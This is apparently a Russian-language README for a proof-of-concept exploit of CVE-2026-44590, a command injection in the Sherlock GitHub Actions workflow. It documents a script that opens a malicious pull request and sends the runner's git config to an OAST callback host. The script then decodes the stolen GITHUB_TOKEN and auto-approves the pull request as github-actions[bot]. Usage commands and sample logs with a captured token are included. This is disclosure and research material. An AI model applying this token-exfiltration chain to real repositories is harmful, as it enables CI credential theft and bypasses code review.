
Эксплойт-доказательство концепции для CVE-2026-44590 — инъекция команд в GitHub Actions workflow Sherlock, позволяющая выполнить произвольный код (RCE) и похитить GITHUB_TOKEN через pull_request_target.
Обнаружено и сообщено: Astaruf
Полное описание: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
Консультация вышестоящего проекта: sherlock-project/sherlock GHSA advisory
Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44590
Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-44590
Этот репозиторий содержит proof-of-concept для CVE-2026-44590 — инъекции команд в GitHub Actions workflow validate_modified_targets.yml проекта sherlock-project/sherlock. Любой пользователь GitHub может открыть pull request, который запускает произвольное выполнение команд в привилегированном контексте CI, похитить GITHUB_TOKEN из workflow и автоматически одобрить вредоносный PR — всё это без какого-либо участия человека.
Для полного технического описания (анализ первопричины, пошаговая эксплуатация, обсуждение последствий и глава о том, что атакующий мог бы сделать в реальных сценариях) см. запись в блоге:
Этот README посвящён исключительно скрипту PoC: что он делает, как его запустить и чего ожидать.
poc.pypoc.py — это единый автономный Python-скрипт (только stdlib), который автоматизирует всю цепочку атаки от начала до конца:
sherlock-project/sherlock, если это необходимоmaster форка к коммиту до исправления, чтобы ошибку можно было воспроизвести даже после исправления в вышестоящем проектеinteractsh-client)GITHUB_TOKEN из OAST-колбэка (в режиме --mode exfil) и декодирует его в открытом видеVULNERABILITY CONFIRMED или FIX VERIFIEDinteractsh-client)Требуется ровно один ручной шаг (нажатие баннера GitHub «I understand my workflows» при первом запуске для каждого форка), поскольку не существует публичного API для его отклонения. Скрипт обнаруживает этот случай и приостанавливается с понятным запросом.
python3 poc.py --fork-owner <ваше-имя-пользователя-github>
Создаёт форк репозитория (при необходимости), синхронизирует с вышестоящим проектом (исправленный master), открывает вредоносный PR, запускает цепочку атаки и сообщает FIX VERIFIED, поскольку исправленный workflow блокирует полезную нагрузку до выполнения каких-либо shell-команд.
python3 poc.py --fork-owner <ваше-имя-пользователя-github> --vulnerable
То же, что и выше, но сначала откатывает master форка к коммиту до исправления (271608fb). Ожидаемый вердикт: VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <ваше-имя-пользователя-github> --vulnerable --mode exfil
Полезная нагрузка exfil выгружает git config --list на OAST и засыпает на 180 секунд, чтобы поддерживать workflow (и, соответственно, GITHUB_TOKEN) активным. Пока workflow спит, скрипт извлекает токен из журнала OAST, декодирует его и немедленно вызывает GitHub API для одобрения PR. В итоге PR оказывается одобренным от имени github-actions[bot].
gh (GitHub CLI), авторизованный:
gh auth login
gitinteractsh-client (опционально, но рекомендуется). При установке скрипт автоматически запускает его и проверяет колбэк внутри скрипта:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url, и шаг автоматической проверки будет пропущен.Скрипту не требуется заранее существующий форк — он создаёт его автоматически.
--mode harmless (по умолчанию)Полезная нагрузка — это один curl POST со статической строкой подтверждения. Никакие секреты не считываются, никакие API-вызовы не выполняются, единственный побочный эффект — OAST-колбэк. Используйте этот режим, чтобы подтвердить наличие уязвимости без раскрытия каких-либо учётных данных.
--mode exfilПолезная нагрузка выгружает git config --list (который содержит GITHUB_TOKEN в base64-кодировке в http.https://github.com/.extraheader) на OAST, а затем засыпает на 180 секунд. Затем скрипт:
x-access-token:ghs_XXXXXXXX....x-access-token: и использует исходный токен для вызова POST /repos/<fork>/pulls/<n>/reviews со стандартной полезной нагрузкой одобрения ({"event":"APPROVE","body":"All checks passed. LGTM!"}).github-actions[bot], неотличимый от легитимной CI-автоматизации.После фиксации одобрения скрипт пропускает оставшуюся часть 180-секундного ожидания workflow, поскольку цепочка атаки завершена, и ожидание тайм-аута раннера ничего не добавляет.
| Флаг | Описание |
|---|---|
--fork-owner <user> | Обязательный. Имя пользователя GitHub, которому принадлежит (или будет принадлежать) форк |
--fork-name <name> | Имя репозитория форка (по умолчанию: sherlock) |
--oast-url <url> | OAST-конечная точка, принимающая колбэк. Если не указан, скрипт автоматически запускает interactsh-client и выполняет вердикт внутри скрипта |
--mode harmless|exfil | Тип полезной нагрузки (по умолчанию: harmless) |
--vulnerable | Принудительный сброс master форка к коммиту до исправления (271608fb) перед запуском. Подразумевает --no-sync |
--no-sync | Пропустить синхронизацию форка с вышестоящим проектом (полезно при тестировании зафиксированного коммита) |
--base-branch <name> | Целевая ветка PR в форке (по умолчанию: master) |
--keep-branch | Не удалять ветку PoC после завершения |
--no-poll | Пропустить опрос запуска workflow и выйти после создания PR |
По замыслу PoC открывает PR из ветки в форке на master того же форка. Он не направлен напрямую на sherlock-project/sherlock. Для этого есть две причины.
Pull request в публичном репозитории виден всем. Diff остаётся в индексе даже после закрытия PR, а журналы GitHub Actions доступны через веб-интерфейс. Открытие PR с рабочей полезной нагрузкой инъекции команд в вышестоящем репозитории фактически опубликовало бы рабочий эксплойт до того, как мейнтейнеры успели бы выпустить исправление. Любой, кто следит за репозиторием, мог бы скопировать полезную нагрузку, заменить OAST-колбэк на вредоносную конечную точку и использовать её для эксфильтрации реального GITHUB_TOKEN.
PoC использует PR «форк-в-форк», чтобы держать эксплойт вне публичного доступа, при этом демонстрируя ошибку от начала до конца.
Когда вы форкаете sherlock-project/sherlock, файл workflow validate_modified_targets.yml включается в форк. Открытие PR, направленного на master форка, запускает workflow в контексте форка, с GITHUB_TOKEN, выпущенным для форка. Механика идентична исходной атаке:
pull_request_target срабатывает автоматическиGITHUB_TOKENactions/checkout записывает токен в .git/config через настройку http.https://github.com/.extraheaderЕдинственное отличие — радиус поражения: токен принадлежит форку, а не sherlock-project/sherlock. Уязвимость воспроизведена; воздействие ограничено.
GitHub отключает Actions на только что созданных форках за баннером в интерфейсе:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
Не существует публичного API для отклонения этого баннера. Скрипт обнаруживает это состояние (форк только что создан ИЛИ не имеет ни одного исторического запуска workflow) и приостанавливается с понятным запросом:
[*] ======================================================================
[*] ТРЕБУЕТСЯ РУЧНОЙ ШАГ
[*] ======================================================================
[*] Откройте этот URL в браузере: https://github.com/<user>/sherlock/actions
[*] Нажмите «I understand my workflows, go ahead and enable them».
[*] Это требуется только один раз для каждого нового форка (требование GitHub).
[*] ======================================================================
Нажмите ENTER после включения Actions в форке...
После однократного нажатия баннера для данного форка скрипт больше не будет запрашивать это при последующих запусках против того же форка.
10:54:34 [>] --oast-url не указан, запускаю interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Целевой форк: youruser/sherlock
10:54:36 [*] Режим нагрузки: exfil
10:54:36 [>] Проверка форка
10:54:40 [+] Форк создан
10:54:40 [+] Форк проверен (родитель: sherlock-project/sherlock)
[... ручной запрос + ENTER ...]
10:54:56 [>] Включение «Actions can approve PRs» в форке (зеркалирует настройку вышестоящего проекта)
10:54:56 [+] Настройка включена
10:54:56 [>] --vulnerable: откат форка к коммиту 271608fb
10:54:59 [+] Master форка откачен к уязвимому коммиту
10:55:00 [+] Ключ полезной нагрузки внедрён в sherlock_project/resources/data.json
10:55:04 [+] PR открыт: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Запуск workflow найден: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Опрос OAST на предмет токена, пока workflow активен
10:55:55 [+] Токен захвачен: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Одобрение PR #1 в youruser/sherlock украденным токеном
10:55:56 [+] PR одобрен от имени github-actions[bot]: state=APPROVED
10:55:56 [+] URL ревью: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Цепочка атаки завершена, пропуск остальной части запуска workflow
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN эксфильтрирован
10:55:56 [+] Декодированные учётные данные: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR автоматически одобрен через API: state=APPROVED
10:55:56 [+] (Токен короткоживущий и привязан к этому запуску workflow.)
10:55:56 [+] ======================================================================
10:55:56 [>] Очистка: удаление удалённой ветки poc-cve-pr-target-...
10:55:58 [+] Готово
10:18:00 [>] Опрос OAST на предмет токена, пока workflow активен
[... токен не захвачен за всё 180-секундное окно ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: токен не эксфильтрирован с раннера
10:21:00 [*] В журнале OAST не найдено «http.extraheader=AUTHORIZATION: basic ...»
10:21:00 [*] Либо инъекция была заблокирована, либо persist-credentials: false
10:21:00 [*] удержал токен вне git config (защита в глубину).
10:21:00 [+] ======================================================================
Этот репозиторий опубликован только в образовательных целях и для исследований в области безопасности. Уязвимость была ответственно раскрыта мейнтейнерам, исправлена в вышестоящем проекте, и был запрошен CVE. Не запускайте этот PoC против репозиториев, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за любое неправомерное использование.